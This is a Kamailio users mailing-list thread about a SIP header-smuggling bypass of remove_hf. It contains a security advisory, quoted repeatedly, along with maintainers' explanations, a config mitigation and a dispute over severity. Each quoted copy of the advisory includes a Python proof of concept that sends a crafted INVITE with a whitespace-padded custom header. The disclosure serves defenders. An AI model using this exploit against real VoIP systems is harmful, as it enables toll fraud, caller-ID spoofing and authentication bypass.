Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro. The following python code could then be used to reproduce the issue:
```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: sip:anon@localhost;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: sip:1000@127.0.0.1:48017;transport=udp\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-...) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
Hello,
thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application.
In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them.
The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers, Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro. The following python code could then be used to reproduce the issue:
#!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5)
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-...) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, < miconda@gmail.com> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application.
In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them.
The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers, Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected
has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: <
https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-...
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to
2020-07-23
- Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP
headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined
in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the
Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers
are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable
setup which can be found at < https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-.... The following python code could then be used to reproduce the issue:
#!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5)
In the case of a vulnerable version of Kamailio, Asterisk would respond
with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan]( https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-...) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently
address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the
Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive
security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure
policy which can be found at < https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy%3E.
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hello Maxim,
we did the more extensive process in the past with issues that could lead to a crash. You find the announcements in the archives and on the webpage in 2018, let me know if you like a pointer to that. I don’t want to downplay it, but this particular bug is in my opinion less serious than the mentioned ones. As Daniel mentioned, it has been in the code since 18 years without anybody noticing it (and exploiting it openly).
This issue was already fixed in the respective stable branches, also on July 16th. There has been no official release yet for these branches, but there will be probably one done after online KamailioWorld. I will ask Sandro to update the advisory when they have been done.
Regarding your comments about the API behaviour of Kamailio and people expectations, surely, we are aiming towards this. But as you have been in software business a long time by yourself, you surely know that all software can have bugs. Kamailio being an open source project, more helping hands are of course always welcome. There is also always the option to get commercial support in case one is using a really old release etc..
Cheers,
Henning
-- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.comhttps://gilawa.com/
From: sr-users sr-users-bounces@lists.kamailio.org On Behalf Of Maxim Sobolev Sent: Wednesday, September 2, 2020 6:43 AM To: Daniel-Constantin Mierla miconda@gmail.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda@gmail.commailto:miconda@gmail.com> wrote: Hello,
thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application.
In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them.
The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers, Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro. The following python code could then be used to reproduce the issue:
#!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017<http://sip:1000@127.0.0.1:48017>;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5)
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-...) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.comhttp://www.asipto.com www.twitter.com/micondahttp://www.twitter.com/miconda -- www.linkedin.com/in/micondahttp://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla
_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hello Maxim,
can you explain why I am downplaying the severity by my remarks? I presented where the bug is impacting, because the initial announcement sent by Sandro in different channels (not here, but other security related mailing lists) contained inaccurate information, respectively an example with P-Asserted-Identity, which was actually not affected by the bug. So I wanted to be clear is it only about the common header names.
Maybe you haven't understood the issue or what I said, that it may affect security of the platforms where custom header names are used to pass sensitive data between Kamailio and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom header name matching). None of my deployments were affected. The remark for default config file is that many deployments revolve around it and it does not use with custom header names, implying also it was not discovered by analyzing the public project, but configs specific to a private deployment.
And no worries, the issue was public from the day one, by mid of July, being discussed on our community Matrix channel (public one) when Torrey reported it based on Sandro's work and it was fixed within minutes to all maintained branches. The group of most active developers was informed, none reacted as being anything highly critical. Many other bugs were fixed meanwhile, but no security researcher spent time on them to see if there is any risk exposed. During the past years the Kamailio ecosystem had extensive collaboration with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing, several reports being out based on their work. I am somehow pretty sure no other VoIP project did same level of security research during the same time interval.
Sending the announcement on this mailing list was also discussed yesterday on Matrix channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his team) did the hard work on finding issues in Kamailio, was his privilege to send the announcement. As mentioned in the first paragraph, Sandro also notified on many security-related lists, but I was not asked to review the initial announcement sent to other lists, it was done without being notified. I've seen it first time on VoIPSec list, thus I discussed with Sandro about amending it to be make it clear the common headers are not affected.
Now, if you are here because you use Kamailio and have good interest in this application, then you are also part of Kamailio project, it is a community working together for mutual benefits. In other words, Kamailio project is not going to do anything special for you, but you can step forward and propose what should be done and if found useful for the community, start doing it.
If you are here just to demand others do work for you for free, then you are in the wrong place.
Cheers, Daniel
On 02.09.20 06:43, Maxim Sobolev wrote:
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda@gmail.com mailto:miconda@gmail.com> wrote:
Hello, thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application. In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them. The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it. The config fix for it (without any code upgrade) is replacing: remove_hf("X-My-Hdr"); with: remove_hf_re("X-My-Hdr"); As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug. Cheers, Daniel On 01.09.20 14:44, Sandro Gauci wrote: > Dear Kamailio Users, > > posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. > > Advisory follows: > > # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf > > - Fixed versions: Kamailio v5.4.0 > - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf> > - Tested vulnerable versions: 5.3.5 and earlier > - Timeline: > - Report date & issue patched by Kamailio: 2020-07-16 > - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 > - Kamailio release with fix: 2020-07-29 > - Enable Security advisory: 2020-09-01 > > ## Description > > Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. > > Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. > > Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. > > ## Impact > > The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. > > ## How to reproduce the issue > > We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>. The following python code could then be used to reproduce the issue: > > ```python > #!/usr/bin/env python3 > sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" > sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" > sipmsg += "Max-Forwards: 70\r\n" > sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" > sipmsg += "To: sip:whatever@whatever.local\r\n" > sipmsg += "Call-ID: %s\r\n" > sipmsg += "CSeq: 1 INVITE\r\n" > sipmsg += "Contact: <sip:1000@127.0.0.1:48017 <http://sip:1000@127.0.0.1:48017>;transport=udp>\r\n" > sipmsg += "X-Bypass-me : lol\r\n" > sipmsg += "Content-Length: 237\r\n" > sipmsg += "Content-Type: application/sdp\r\n" > sipmsg += "\r\n" > sipmsg += "v=0\r\n" > sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" > sipmsg += "s=-\r\n" > sipmsg += "c=IN IP4 127.0.0.1\r\n" > sipmsg += "t=0 0\r\n" > sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" > sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" > sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" > sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" > sipmsg += "a=rtpmap:96 opus/8000/2\r\n" > sipmsg += "a=sendrecv\r\n" > > target = ("127.0.0.1",5060) > > import socket > import time > from random import randint > s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) > s.bind(("0.0.0.0",5088)) > r = randint(1000,9999) > data = sipmsg % (r,r,r) > s.sendto(data.encode("utf-8"), target) > while True: > data,addr=s.recvfrom(4096) > print(data.decode("utf-8")) > time.sleep(5) > ``` > > In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the 